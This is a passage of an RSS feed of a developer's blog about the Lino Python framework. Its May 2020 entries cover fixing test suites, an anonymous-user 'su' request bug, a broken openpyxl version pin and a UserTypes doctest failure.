&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;assertEqual&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I convert the original to use the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.instantiator.html#lino.utils.instantiator.create_row" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.instantiator.create_row()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Oops, I noticed that &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_delete_veto.py&lt;/span&gt;&lt;/code&gt; in roger fails. The header of
the second column in &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;contacts.RolesByCompany&lt;/span&gt;&lt;/code&gt; has changed from  “Contact
Role” to “Function”. I remember that indeed we changed this some time ago.
But the book test suite did not fail recently. How is that possible?
Indeed : roger and min9 were missing in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_demo.py&lt;/span&gt;&lt;/code&gt; of the book test
suite.  Great! I found and eliminated an important issue!&lt;/p&gt;
&lt;p&gt;I started to change &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_delete_veto.py&lt;/span&gt;&lt;/code&gt; to make it pass, but I abandoned
at some moment because there are quite some internal changes in the Ajax
requests involved with action confirmations.  I remember we have been doing
quite some work on these.  The callback id is a binary literal and isn’t passed
to the client as expected, but it works.  Only the test is failing.  Either
adapt the test to that quirky json interface, or first clean up the json
interface. Leaving this test failing and hope that Tonis can have a look at it.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="when-anonymous-tries-to-act-as-another"&gt;
&lt;h2&gt;When anonymous tries to act as another&lt;a class="headerlink" href="#when-anonymous-tries-to-act-as-another" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3644"&gt;#3644&lt;/a&gt; (Requesting &lt;a class="reference external" href="http://127.0.0.1:8000/?su=5"&gt;http://127.0.0.1:8000/?su=5&lt;/a&gt; as anonymous).
This situation obviously can come when an end user had been acting as somebody
else and their browser tries to re-open the URL after a server upgrade.&lt;/p&gt;
&lt;p&gt;It fails when trying to render a ShowInsert button for Anonymous on
cal.MyEntries. Which indeed is absolute nonsense. But why is it trying to do
this?&lt;/p&gt;
&lt;p&gt;The explanation is that an anonymous request also sets subst_user, which is
then used for deciding whether a dashboard item (here cal.MyEntries) should be
rendered or not. And then the rendering fails because it’s not a real user.
Actually Lino (&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.auth.WithUserMiddleware&lt;/span&gt;&lt;/code&gt;) should not even look
up any &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;subst_user&lt;/span&gt;&lt;/code&gt; when the user is anonymous.&lt;/p&gt;
&lt;p&gt;But even before finding the explanation, I also wanted to have the problem
covered.  Which made me do some changes in
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.djangotest.WebIndexTestCase&lt;/span&gt;&lt;/code&gt;.
This generic test case now
(1) runs on the populated demo data (and no longer on an empty database created by the django test runner)
(2) checks several variants of &lt;cite&gt;test_urls&lt;/cite&gt;
(3) tests them for each user (unless &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.user_model" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.user_model&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is None)&lt;/p&gt;
&lt;p&gt;&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_addresses.py&lt;/span&gt;&lt;/code&gt; in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.min9&lt;/span&gt;&lt;/code&gt; was not being tested
by the book suite. Now it is, which revealed that it had been failing since
&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2018/1004.html"&gt;2018-10-04&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The projects  &lt;a class="reference external" href="https://dev.lino-framework.org/projects/polls.html#module-lino_book.projects.polls" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.polls&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_book.projects.polls2.html#module-lino_book.projects.polls2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.polls2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; were not being preped. Which now made their
tests fail.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0513.html</guid><pubDate>Wed, 13 May 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, May 12, 2020</title><link>https://luc.lino-framework.org/blog/2020/0512.html</link><description>&lt;section id="tuesday-may-12-2020"&gt;
&lt;h1&gt;Tuesday, May 12, 2020&lt;a class="headerlink" href="#tuesday-may-12-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;mv pull.sh env/bin/&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;cal.Guest {‘state’: [‘Dieses Feld darf nicht null sein.’]} (31 object(s) with primary key 1, 3, 4, 5, 6, 17, 19, 20, 21, 22, 25, 26, 27, 28, 29, 30, 31, 32, 35, 36, 37, 38, 39, 40, 41, 42, 94, 95, 96, 97, 98)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ledger.Movement type object ‘VatClasses’ has no attribute ‘2’ (11 object(s) with primary key 1, 3, 5, 7, 11, 13, 15, 17, 19, 21, 23)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sales.InvoiceItem type object ‘VatClasses’ has no attribute ‘2’ (43 object(s) with primary key 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 29, 30, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0512.html</guid><pubDate>Tue, 12 May 2020 00:00:00 +0000</pubDate></item><item><title>Friday, May 8, 2020</title><link>https://luc.lino-framework.org/blog/2020/0508.html</link><description>&lt;section id="friday-may-8-2020"&gt;
&lt;h1&gt;Friday, May 8, 2020&lt;a class="headerlink" href="#friday-may-8-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_book.projects.team.settings.react&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;ses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;marc&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ses&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;spawn_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AllTickets&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_user_queryset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_row_by_pk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0508.html</guid><pubDate>Fri, 08 May 2020 00:00:00 +0000</pubDate></item><item><title>Monday, May 4, 2020</title><link>https://luc.lino-framework.org/blog/2020/0504.html</link><description>&lt;section id="monday-may-4-2020"&gt;
&lt;h1&gt;Monday, May 4, 2020&lt;a class="headerlink" href="#monday-may-4-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://hosting.lino-framework.org/install/#getlino-install-prod" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Set up a Lino production server&lt;/span&gt;&lt;/a&gt; page should say more clearly that we usually
don’t want to &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-clone" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--clone&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; on a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-production-server" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;production server&lt;/span&gt;&lt;/a&gt;. It now also
explains the &lt;a class="reference external" href="https://hosting.lino-framework.org/install/#term-main-environment" title="(in Lino Hosting Guide)"&gt;&lt;span class="xref std std-term"&gt;main environment&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#command-getlino-configure" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; must default &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-shared-env" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--shared-env&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to the current
&lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;VIRTUAL_ENV&lt;/span&gt;&lt;/code&gt; only when &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-clone" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--clone&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; was given (not always). And
while we’re there I think that it also must create the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;repos_base&lt;/span&gt;&lt;/code&gt; only then.&lt;/p&gt;
&lt;p&gt;In the site project dir there was a symbolic link &lt;a class="reference external" href="https://hosting.lino-framework.org/env/#xfile-env" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;env&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; pointing to
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;/usr/local/lino/shared/master/&lt;/span&gt;&lt;/code&gt;. This was clearly wrong. We don’t want this
production site to use any shared repositories. I did:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go prod
$ rm env
$ virtualenv env
$ . env/bin/activate
$ pip install lino-avanti
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Oops:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Could&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;find&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;satisfies&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;requirement&lt;/span&gt; &lt;span class="n"&gt;openpyxl&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.0.1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;avanti&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;versions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.1.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.1.4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.1.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.1.6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.1.7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.2.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.5.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.5.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.5.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.5.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.5.4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.5.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.5.6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.5.7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.5.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.6.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.6.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.7.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.8.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.8.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.8.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.8.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.8.4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.8.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.8.6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.0.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.0.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.0.4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.1.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.1.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.1.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.1.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.1.4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.1.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.2.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.2.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.2.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.2.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.2.4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.2.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.2.6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.3.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.3.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.3.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.3.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.3.4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.3.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.4.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.4.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.4.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.4.4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.4.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.4.7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.4.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.4.9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.4.10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.4.11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5.4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5.6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5.7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5.9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5.10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5.11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5.12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.5.14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.6.0&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.6.0&lt;/span&gt;&lt;span class="n"&gt;b1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.6.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.6.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.6.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.6.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.6.4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="n"&gt;distribution&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;openpyxl&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.0.1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;avanti&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yes, Lino was saying openpyxl==3.0.1 as install requirements. Which was probably
something old.  They are at 3.0.3 now. And I guess that this version no longer
exists.  Removed the version requirement.&lt;/p&gt;
&lt;p&gt;Quite disturbing because now I need to make a PyPI release for Lino and XL as
well. Which means that Tonis’ and my latest work will be on their production
site. Which should be avoided because they did already end-user tests.&lt;/p&gt;
&lt;p&gt;The main reason for this embarrassing situation is that this problem wasn’t
covered by the getlino test suite. So I reviewed the getlino test suite. There
was quite some bullshit there!&lt;/p&gt;
&lt;p&gt;Just in case I ran the book tests on my machine with the new openpyxl version.&lt;/p&gt;
&lt;p&gt;En passant I removed two lino_openui5.projects from the demo_sites in book.&lt;/p&gt;
&lt;p&gt;No problem with openpyxl, but in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/dev/sphinx/intro.rst&lt;/span&gt;&lt;/code&gt; I got this
failure&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;An&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="n"&gt;named&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;user&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;already&lt;/span&gt; &lt;span class="n"&gt;defined&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;UserTypes&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Hey, nice to meet you! This is the error message I didn’t manage to reproduce in
#3614 (ImportError: no module named lino_vilma.lib.vilma.user_types)!&lt;/p&gt;
&lt;p&gt;Now I have it reproducible on my machine. I started to explore it. The challenge
is that the exception comes when it’s too late. Yes, there is an attribute
“user” dangling around on the UserTypes class. But why?!  It shouldn’t be there
because we called &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;clear()&lt;/span&gt;&lt;/code&gt;. Seems to be related to the fact that in cosi we
don’t specify a name  for the UserType “User”.&lt;/p&gt;
&lt;p&gt;I am working on this file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ doctest docs/dev/sphinx/intro.rst`
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If fails, and the debug messages are interesting.&lt;/p&gt;
&lt;p&gt;But I am now too tired to continue on this.
